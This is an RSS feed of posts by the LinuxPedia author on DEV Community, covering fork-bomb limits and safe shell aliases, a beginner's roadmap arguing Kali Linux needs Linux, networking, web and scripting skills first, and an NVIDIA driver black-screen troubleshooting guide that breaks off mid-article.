<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: Linux Pedia</title>
    <description>The latest articles on DEV Community by Linux Pedia (@pedialinux).</description>
    <link>https://dev.to/pedialinux</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F4239006%2Fb5d3b817-ef52-4b03-9d74-60364b03e33c.jpg</url>
      <title>DEV Community: Linux Pedia</title>
      <link>https://dev.to/pedialinux</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/pedialinux"/>
    <language>en</language>
    <item>
      <title>HASHCAT</title>
      <dc:creator>Linux Pedia</dc:creator>
      <pubDate>Mon, 16 Nov 2026 11:58:36 +0000</pubDate>
      <link>https://dev.to/pedialinux/hashcat-1fli</link>
      <guid>https://dev.to/pedialinux/hashcat-1fli</guid>
      <description>&lt;div class="crayons-card c-embed text-styles text-styles--secondary"&gt;
    &lt;div class="c-embed__content"&gt;
        &lt;div class="c-embed__cover"&gt;
          &lt;a href="https://pedialinux.github.io/linuxpedia/how-hackers-crack-passwords-hashcat-explained.html" class="c-link align-middle" rel="noopener noreferrer"&gt;
            &lt;img alt="" src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fpedialinux.github.io%2Flinuxpedia%2Fyoutube-password-cracking-thumbnail.jpg" height="400" class="m-0" width="800"&gt;
          &lt;/a&gt;
        &lt;/div&gt;
      &lt;div class="c-embed__body"&gt;
        &lt;h2 class="fs-xl lh-tight"&gt;
          &lt;a href="https://pedialinux.github.io/linuxpedia/how-hackers-crack-passwords-hashcat-explained.html" rel="noopener noreferrer" class="c-link"&gt;
            How Hackers Crack Passwords in Seconds: Hashcat, GPU Clusters, and Why 8 Characters Is Dead - LinuxPedia
          &lt;/a&gt;
        &lt;/h2&gt;
          &lt;p class="truncate-at-3"&gt;
            Discover how modern GPU clusters test over 100 billion hashes per second and why traditional 8-character password policies leave systems vulnerable.
          &lt;/p&gt;
        &lt;div class="color-secondary fs-s flex items-center"&gt;
            &lt;img alt="favicon" class="c-embed__favicon m-0 mr-2 radius-0" src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fpedialinux.github.io%2Flinuxpedia%2Ffavicon.ico" width="64" height="64"&gt;
          pedialinux.github.io
        &lt;/div&gt;
      &lt;/div&gt;
    &lt;/div&gt;
&lt;/div&gt;


</description>
      <category>linux</category>
      <category>kalilinux</category>
      <category>ai</category>
    </item>
    <item>
      <title>5 Linux Commands That Instantly Destroy Your Server (And How to Protect Yourself)</title>
      <dc:creator>Linux Pedia</dc:creator>
      <pubDate>Sun, 15 Nov 2026 05:36:55 +0000</pubDate>
      <link>https://dev.to/pedialinux/5-linux-commands-that-instantly-destroy-your-server-and-how-to-protect-yourself-1kdk</link>
      <guid>https://dev.to/pedialinux/5-linux-commands-that-instantly-destroy-your-server-and-how-to-protect-yourself-1kdk</guid>
      <description>&lt;h4&gt;
  
  
  1. Stopping Fork Bombs with PAM Limits
&lt;/h4&gt;

&lt;p&gt;You can prevent any user from spawning millions of processes by configuring maximum process counts (&lt;code&gt;nproc&lt;/code&gt;) in &lt;code&gt;/etc/security/limits.conf&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;# Prevent fork bombs: limit maximum concurrent processes per user
*          hard    nproc          2000
*          soft    nproc          1000
www-data   hard    nproc          500
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;With this configuration active, if an unprivileged user or web application attempts to run a fork bomb, the kernel stops spawning child processes at 2,000. The user session displays an error, but the rest of the server and other users remain completely unaffected.&lt;/p&gt;

&lt;h4&gt;
  
  
  2. Safe Shell Aliases
&lt;/h4&gt;

&lt;p&gt;To avoid accidental file deletion through typo errors, configure interactive confirmation flags in your global or user shell profile (&lt;code&gt;~/.bashrc&lt;/code&gt;):&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Require confirmation before destructive actions&lt;/span&gt;
&lt;span class="nb"&gt;alias&lt;/span&gt; &lt;span class="nv"&gt;rm&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;'rm -I'&lt;/span&gt;
&lt;span class="nb"&gt;alias&lt;/span&gt; &lt;span class="nv"&gt;cp&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;'cp -i'&lt;/span&gt;
&lt;span class="nb"&gt;alias&lt;/span&gt; &lt;span class="nv"&gt;mv&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;'mv -i'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h4&gt;
  
  
  3. Least Privilege and Read-Only Mounts
&lt;/h4&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Never log in directly as root:&lt;/strong&gt; Use unprivileged user accounts and prepend &lt;code&gt;sudo&lt;/code&gt; only when administrative capabilities are required.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Mount sensitive partitions read-only:&lt;/strong&gt; In production environments, mount directories like &lt;code&gt;/boot&lt;/code&gt; as read-only (&lt;code&gt;ro&lt;/code&gt; in &lt;code&gt;/etc/fstab&lt;/code&gt;) to prevent accidental overwrites during daily operations.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  - &lt;strong&gt;Maintain Off-Site Automated Backups:&lt;/strong&gt; The only true defense against root-level drive destruction is a tested, air-gapped backup strategy.
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Related Guides on LinuxPedia
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href="https://pedialinux.github.io/linuxpedia/deadly-linux-commands-explained.html" rel="noopener noreferrer"&gt;5 Linux Commands That Instantly Destroy Your Server (Full Breakdown)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://pedialinux.github.io/linuxpedia/why-kali-linux-wont-make-you-a-hacker.html" rel="noopener noreferrer"&gt;Why Kali Linux Won't Make You a Hacker (The 4 Skills You Need First)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://pedialinux.github.io/linuxpedia/linux-server-hardening.html" rel="noopener noreferrer"&gt;Linux Server Hardening: The Production Security Checklist&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://pedialinux.github.io/linuxpedia/dns-spoofing-explained.html" rel="noopener noreferrer"&gt;How DNS Spoofing Works (And How to Defend Your Network)&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

</description>
      <category>ai</category>
      <category>linux</category>
      <category>sysadmin</category>
      <category>security</category>
    </item>
    <item>
      <title>Why Kali Linux Won't Make You a Hacker (The 4 Skills You Need First)</title>
      <dc:creator>Linux Pedia</dc:creator>
      <pubDate>Sat, 14 Nov 2026 07:19:04 +0000</pubDate>
      <link>https://dev.to/pedialinux/why-kali-linux-wont-make-you-a-hacker-the-4-skills-you-need-first-42m</link>
      <guid>https://dev.to/pedialinux/why-kali-linux-wont-make-you-a-hacker-the-4-skills-you-need-first-42m</guid>
      <description>&lt;p&gt;⚖️ &lt;strong&gt;Educational Disclaimer:&lt;/strong&gt; This guide is intended strictly for technical career guidance, authorized penetration testing, and defensive cybersecurity engineering. Operating security tools against unauthorized networks is illegal under international computer misuse laws.&lt;br&gt;
Every week on Reddit, Discord, and tech forums, thousands of beginners take their first step into cybersecurity with the exact same routine:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;They watch a cyber thriller or an Instagram reel featuring glowing green terminal text.&lt;/li&gt;
&lt;li&gt;They download the 4GB Kali Linux ISO and flash it to a USB drive.&lt;/li&gt;
&lt;li&gt;They boot up, open the application menu, and stare at &lt;strong&gt;600+ pre-installed security tools&lt;/strong&gt; (Nmap, Burp Suite, Metasploit, Wireshark, John the Ripper).&lt;/li&gt;
&lt;li&gt;They open a terminal and try to run an exploit:
&lt;/li&gt;
&lt;/ol&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;$ exploit --target 192.168.1.100
bash: exploit: &lt;span class="nb"&gt;command&lt;/span&gt; not found
$ ./scanner.py
Traceback &lt;span class="o"&gt;(&lt;/span&gt;most recent call last&lt;span class="o"&gt;)&lt;/span&gt;:
  File &lt;span class="s2"&gt;"./scanner.py"&lt;/span&gt;, line 3, &lt;span class="k"&gt;in&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;module&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;
    s &lt;span class="o"&gt;=&lt;/span&gt; socket.socket&lt;span class="o"&gt;(&lt;/span&gt;socket.AF_INET, socket.SOCK_RAW&lt;span class="o"&gt;)&lt;/span&gt;
PermissionError: &lt;span class="o"&gt;[&lt;/span&gt;Errno 1&lt;span class="o"&gt;]&lt;/span&gt; Operation not permitted
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;Within 48 hours, frustration sets in. Their Wi-Fi card refuses to enter monitor mode, sound drivers break, software packages fail due to missing Debian repositories, and beginners walk away convinced that cybersecurity is just "too hard for them."&lt;br&gt;
Here is the reality that very few tutorials tell you upfront:&lt;br&gt;
&lt;strong&gt;Kali Linux is an operating system, not a skillset.&lt;/strong&gt;&lt;/p&gt;
&lt;h2&gt;
  
  
  A carpenter's toolbox containing 600 precision tools will not make you an architect. In computing, security utilities only execute what you already understand. If you don't know how a protocol or kernel behaves normally, running security tools is just pressing buttons in the dark.
&lt;/h2&gt;
&lt;h3&gt;
  
  
  The 600 Tools Illusion: What Kali Actually Is
&lt;/h3&gt;

&lt;p&gt;Kali Linux is an official Debian derivative maintained by Offensive Security. It exists for one reason: &lt;strong&gt;convenience for working professionals&lt;/strong&gt;.&lt;br&gt;
When a security consultant arrives on-site to conduct an authorized penetration test, they don't want to spend 6 hours compiling three hundred GitHub repositories, hunting down Python 2 dependencies, and fixing library paths on a brand new laptop. Kali provides a standardized, pre-configured environment ready out of the box.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;[ Beginner Expectation ]
Download Kali Linux -&amp;gt; Click Tool Icon -&amp;gt; "Hacker"
[ Technical Reality ]
User Space Utility (Nmap / Burp / Metasploit)
             |
             v (Interacts via standard Linux System Calls)
Linux Kernel &amp;amp; Networking Sockets (TCP/IP Stack)
             |
             v (Manipulates raw network packets)
Target Server / Network Infrastructure
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Every single tool in Kali Linux is simply a user-space application interacting with standard Linux system calls and networking sockets:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;If you don't understand how a &lt;strong&gt;TCP SYN packet&lt;/strong&gt; functions at the transport layer, typing &lt;code&gt;nmap -sS&lt;/code&gt; is meaningless.&lt;/li&gt;
&lt;li&gt;If you don't understand &lt;strong&gt;HTTP cookies, request headers, and authentication tokens&lt;/strong&gt;, Burp Suite is just an intimidating table of raw text.&lt;/li&gt;
&lt;li&gt;If you don't understand &lt;strong&gt;file permissions and SUID bits&lt;/strong&gt;, automated privilege escalation scripts won't help you understand the vulnerability.
Before downloading Kali, master the four foundational pillars that underpin real security engineering.
---
### Pillar 1: Linux Internals and Administration
Over 80% of cloud servers, containers, and internet infrastructure run on Linux. Before you can evaluate the security posture of a system, you must know how it behaves normally under regular administration:&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Command Line Comfort:&lt;/strong&gt; Operating completely without a mouse. Piping data using &lt;code&gt;grep&lt;/code&gt;, &lt;code&gt;awk&lt;/code&gt;, and &lt;code&gt;sed&lt;/code&gt;, searching filesystems with &lt;code&gt;find&lt;/code&gt;, and reading logs in &lt;code&gt;/var/log&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Permissions and Ownership:&lt;/strong&gt; Understanding read, write, and execute bits (&lt;code&gt;rwx&lt;/code&gt;), octal notation (such as &lt;code&gt;755&lt;/code&gt; vs &lt;code&gt;644&lt;/code&gt;), and why SUID binaries (setuid bit &lt;code&gt;4000&lt;/code&gt;) allow unprivileged processes to execute with root privileges.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Service Management:&lt;/strong&gt; Inspecting active daemons with &lt;code&gt;systemctl&lt;/code&gt;, checking process trees with &lt;code&gt;ps aux&lt;/code&gt; and &lt;code&gt;top&lt;/code&gt;, and understanding how cron jobs execute recurring tasks.
&lt;/li&gt;
&lt;/ul&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Check current user, UID, and group memberships&lt;/span&gt;
$ id
&lt;span class="nv"&gt;uid&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;1000&lt;span class="o"&gt;(&lt;/span&gt;user&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="nv"&gt;gid&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;1000&lt;span class="o"&gt;(&lt;/span&gt;user&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="nv"&gt;groups&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;1000&lt;span class="o"&gt;(&lt;/span&gt;user&lt;span class="o"&gt;)&lt;/span&gt;,27&lt;span class="o"&gt;(&lt;/span&gt;sudo&lt;span class="o"&gt;)&lt;/span&gt;
&lt;span class="c"&gt;# Audit the filesystem for binaries running with SUID root privileges&lt;/span&gt;
$ find / -perm -4000 -type f 2&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;/dev/null
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  &lt;strong&gt;Action Step:&lt;/strong&gt; Do not use Kali as your daily driver. Install Ubuntu, Debian, or Fedora on an old laptop, secondary SSD, or virtual machine. Force yourself to use Linux for your daily web browsing, document writing, and coding until the terminal feels like second nature.
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Pillar 2: Computer Networking Protocols
&lt;/h3&gt;

&lt;p&gt;Cybersecurity is applied computer networking. Vulnerabilities exist because communication protocols have design trade-offs, state machines, and configuration oversights. Without a clear mental model of how packets move across wires, security tools are black boxes:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;The TCP Three-Way Handshake:&lt;/strong&gt; How client and server synchronize (&lt;code&gt;SYN&lt;/code&gt;), acknowledge (&lt;code&gt;SYN-ACK&lt;/code&gt;), and establish (&lt;code&gt;ACK&lt;/code&gt;) a stream, how sequence numbers prevent desynchronization, and how stateful firewalls track connections.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;DNS (Domain Name System):&lt;/strong&gt; How resolvers query root nameservers, cache records, and why unencrypted UDP port 53 traffic is vulnerable to cache poisoning and ARP spoofing.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Subnetting and Routing:&lt;/strong&gt; Understanding CIDR masks (&lt;code&gt;/24&lt;/code&gt;, &lt;code&gt;/16&lt;/code&gt;), private address allocations (RFC 1918 ranges like &lt;code&gt;10.0.0.0/8&lt;/code&gt; and &lt;code&gt;192.168.0.0/16&lt;/code&gt;), and how default gateways route traffic through NAT.
&lt;/li&gt;
&lt;/ul&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Inspect all active listening ports and established sockets&lt;/span&gt;
$ ss -tulnp
&lt;span class="c"&gt;# Trace packet hops across network gateways to an external destination&lt;/span&gt;
$ traceroute 1.1.1.1
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Once you understand TCP flags and packet headers, analyzing a &lt;code&gt;.pcap&lt;/code&gt; capture in Wireshark becomes intuitive rather than overwhelming.
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Pillar 3: Web Application Architecture
&lt;/h3&gt;

&lt;p&gt;Modern penetration testing and bug bounty programs focus heavily on web applications and APIs. Before running automated vulnerability scanners, you need to understand how the web stack operates:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;HTTP Request and Response Cycles:&lt;/strong&gt; Standard methods (&lt;code&gt;GET&lt;/code&gt;, &lt;code&gt;POST&lt;/code&gt;, &lt;code&gt;PUT&lt;/code&gt;, &lt;code&gt;DELETE&lt;/code&gt;), headers (&lt;code&gt;Host&lt;/code&gt;, &lt;code&gt;User-Agent&lt;/code&gt;, &lt;code&gt;Authorization&lt;/code&gt;, &lt;code&gt;Cookie&lt;/code&gt;), and status codes (&lt;code&gt;200 OK&lt;/code&gt;, &lt;code&gt;302 Found&lt;/code&gt;, &lt;code&gt;401 Unauthorized&lt;/code&gt;, &lt;code&gt;403 Forbidden&lt;/code&gt;, &lt;code&gt;500 Internal Error&lt;/code&gt;).&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;State and Authentication:&lt;/strong&gt; How stateless HTTP maintains login sessions using HTTP-only cookies, Bearer tokens, and JSON Web Tokens (JWTs).&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Client vs Server Architecture:&lt;/strong&gt; Knowing what runs in the user's browser (HTML, CSS, JavaScript) versus what executes securely behind the web server (Node.js, Python, PHP, SQL databases).
When you understand how a backend server concatenates unsanitized user input into a SQL query or reflects parameters into an HTML template, spotting injection points and cross-site scripting vulnerabilities becomes a logical exercise.
---
### Pillar 4: Python and Bash Scripting
A script user depends entirely on software written by other people. If an open-source tool breaks, lacks a specific flag, or fails against a custom target, a script user is stuck.
A security engineer writes code. Scripting lets you automate repetitive tasks, parse 50MB log files, test edge cases, and craft custom payloads.
Writing a simple 15-line Python socket scanner teaches you more about connection timeouts, TCP handshakes, and port states than running a complex automated GUI:
&lt;/li&gt;
&lt;/ul&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="n"&gt;socket&lt;/span&gt;
&lt;span class="n"&gt;target_host&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;"192.168.1.1"&lt;/span&gt;
&lt;span class="n"&gt;target_port&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;80&lt;/span&gt;
&lt;span class="c1"&gt;# Create a standard TCP streaming socket&lt;/span&gt;
&lt;span class="n"&gt;s&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;socket&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;socket&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;socket&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="no"&gt;AF_INET&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;socket&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="no"&gt;SOCK_STREAM&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;settimeout&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mf"&gt;1.5&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="k"&gt;try&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="c1"&gt;# connect_ex returns 0 on successful TCP handshake&lt;/span&gt;
    &lt;span class="n"&gt;status&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;connect_ex&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;target_host&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;target_port&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;status&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="k"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="s2"&gt;"[+] Port {target_port} is OPEN on {target_host}!"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;else&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="k"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="s2"&gt;"[-] Port {target_port} is closed or filtered (Code: {status})"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="k"&gt;except&lt;/span&gt; &lt;span class="n"&gt;socket&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;error&lt;/span&gt; &lt;span class="k"&gt;as&lt;/span&gt; &lt;span class="n"&gt;err&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="k"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="s2"&gt;"[!] Connection error: {err}"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="k"&gt;finally&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;close&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h3&gt;
  
  
  The 90-Day Learning Roadmap
&lt;/h3&gt;

&lt;p&gt;If you are starting today, here is a practical 3-month roadmap that builds real technical competence before touching offensive tools:&lt;br&gt;
| Timeline | Focus Area | Free Hands-on Resource |&lt;br&gt;
| :--- | :--- | :--- |&lt;br&gt;
| &lt;strong&gt;Month 1 (Days 1-30)&lt;/strong&gt; | Linux Administration &amp;amp; CLI | &lt;a href="https://overthewire.org/wargames/bandit/" rel="noopener noreferrer"&gt;OverTheWire: Bandit&lt;/a&gt; |&lt;br&gt;
| &lt;strong&gt;Month 2 (Days 31-60)&lt;/strong&gt; | Networking Protocols &amp;amp; Wireshark | Professor Messer Network+ (YouTube) &amp;amp; Wireshark Sample Captures |&lt;br&gt;
| &lt;strong&gt;Month 3 (Days 61-90)&lt;/strong&gt; | Web Architecture &amp;amp; Python Sockets | &lt;a href="https://portswigger.net/web-security" rel="noopener noreferrer"&gt;PortSwigger Web Security Academy&lt;/a&gt; |&lt;/p&gt;

&lt;h2&gt;
  
  
  Once you complete these 90 days, boot up Kali Linux. The terminal will no longer feel confusing, the 600 tools will make immediate sense, and you will understand exactly what each command is doing under the hood.
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Related Guides on LinuxPedia
&lt;/h3&gt;

&lt;p&gt;If you are setting up your Linux environment or exploring defensive security concepts, check out our deep-dive tutorials:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href="https://pedialinux.github.io/linuxpedia/why-kali-linux-wont-make-you-a-hacker.html" rel="noopener noreferrer"&gt;Why Kali Linux Won't Make You a Hacker (Full Interactive Roadmap)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://pedialinux.github.io/linuxpedia/dns-spoofing-explained.html" rel="noopener noreferrer"&gt;How DNS Spoofing &amp;amp; ARP Poisoning Work (And How to Defend Your Network)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://pedialinux.github.io/linuxpedia/wireshark-packet-analysis.html" rel="noopener noreferrer"&gt;Wireshark Packet Analysis for Beginners&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://pedialinux.github.io/linuxpedia/linux-privilege-escalation-suid.html" rel="noopener noreferrer"&gt;Linux Privilege Escalation via SUID Binaries Explained&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://pedialinux.github.io/linuxpedia/linux-server-hardening.html" rel="noopener noreferrer"&gt;Linux Server Hardening: The Production Security Checklist&lt;/a&gt;`&lt;/li&gt;
&lt;/ul&gt;

</description>
      <category>ai</category>
      <category>kalilinux</category>
      <category>security</category>
      <category>productivity</category>
    </item>
    <item>
      <title>Why NVIDIA Drivers Break Linux (And How to Fix the Dreaded Black Screen)</title>
      <dc:creator>Linux Pedia</dc:creator>
      <pubDate>Fri, 13 Nov 2026 04:36:48 +0000</pubDate>
      <link>https://dev.to/pedialinux/why-nvidia-drivers-break-linux-and-how-to-fix-the-dreaded-black-screen-5g15</link>
      <guid>https://dev.to/pedialinux/why-nvidia-drivers-break-linux-and-how-to-fix-the-dreaded-black-screen-5g15</guid>
      <description>&lt;p&gt;⚠️ &lt;strong&gt;Troubleshooting Notice: Emergency Recovery&lt;/strong&gt;  &lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;If your system is currently frozen at a black screen or blinking cursor after an update, press &lt;code&gt;Ctrl + Alt + F3&lt;/code&gt; (or &lt;code&gt;Ctrl + Alt + F4&lt;/code&gt;) on your keyboard right now. That shortcut drops you into a text-only recovery console. You do not need to reinstall your operating system.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;It is a rite of passage for every Linux user. You run a standard software update:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;$ sudo apt update &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; sudo apt upgrade -y
$ sudo reboot
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The screen goes dark, your computer restarts, and instead of your desktop login manager (GDM, LightDM, or SDDM), you are greeted by an unresponsive black screen, a frozen splash logo, or an endlessly blinking cursor in the upper-left corner.&lt;/p&gt;

&lt;p&gt;Nothing responds to mouse clicks. The graphical interface refuses to load.&lt;/p&gt;

&lt;p&gt;This common failure is not a hardware defect, and your data is completely intact. It is a predictable software breakdown caused by how out-of-tree proprietary GPU drivers interface with the Linux kernel.&lt;/p&gt;

&lt;p&gt;Here is why NVIDIA drivers break during Linux updates, how to diagnose the breakdown, and the exact step-by-step commands to restore your graphical desktop cleanly.&lt;/p&gt;




&lt;h3&gt;
  
  
  1. The Root Cause: Why Kernel Updates Break NVIDIA
&lt;/h3&gt;

&lt;p&gt;Unlike AMD and Intel, whose graphics drivers are open-source and built directly into the upstream Linux kernel tree, NVIDIA has historically shipped its primary driver stack as proprietary binary blobs.&lt;/p&gt;

&lt;p&gt;Because NVIDIA drivers live outside the mainline kernel source code, they must be compiled as external kernel modules specifically for your exact kernel version. This task is handled by a subsystem called &lt;strong&gt;DKMS&lt;/strong&gt; (Dynamic Kernel Module Support).&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;[ Linux Kernel Source / Headers ]
              |
              v (DKMS Compiles during apt upgrade)
[ nvidia.ko / nvidia-modeset.ko Kernel Modules ]
              |
              v (Loaded at Boot Time)
[ X11 / Wayland Display Server ] -&amp;gt; [ Desktop Environment ]
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;When you run an update that pulls in a new Linux kernel (for instance, bumping from version 6.5.0-generic to 6.8.0-generic), DKMS automatically attempts to build new NVIDIA kernel modules against the new kernel headers.&lt;/p&gt;

&lt;p&gt;If any of the following issues occur during that process, the build fails:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Missing Kernel Headers:&lt;/strong&gt; The new kernel package was installed, but its corresponding &lt;code&gt;linux-headers-$(uname -r)&lt;/code&gt; package was omitted or delayed.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;API Deprecations:&lt;/strong&gt; The new Linux kernel changed an internal C function call that the older NVIDIA driver version does not support.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Interrupted Updates:&lt;/strong&gt; The machine was shut down or rebooted before DKMS finished compiling the heavy &lt;code&gt;.ko&lt;/code&gt; kernel modules in the background.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Secure Boot Block:&lt;/strong&gt; The motherboard UEFI has Secure Boot enabled, and the newly compiled NVIDIA kernel module lacks a trusted MOK (Machine Owner Key) cryptographic signature.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;When the system boots into the new kernel, the kernel cannot load &lt;code&gt;nvidia.ko&lt;/code&gt;. The display manager attempts to launch hardware acceleration, fails, and leaves your screen completely black.&lt;/p&gt;




&lt;h3&gt;
  
  
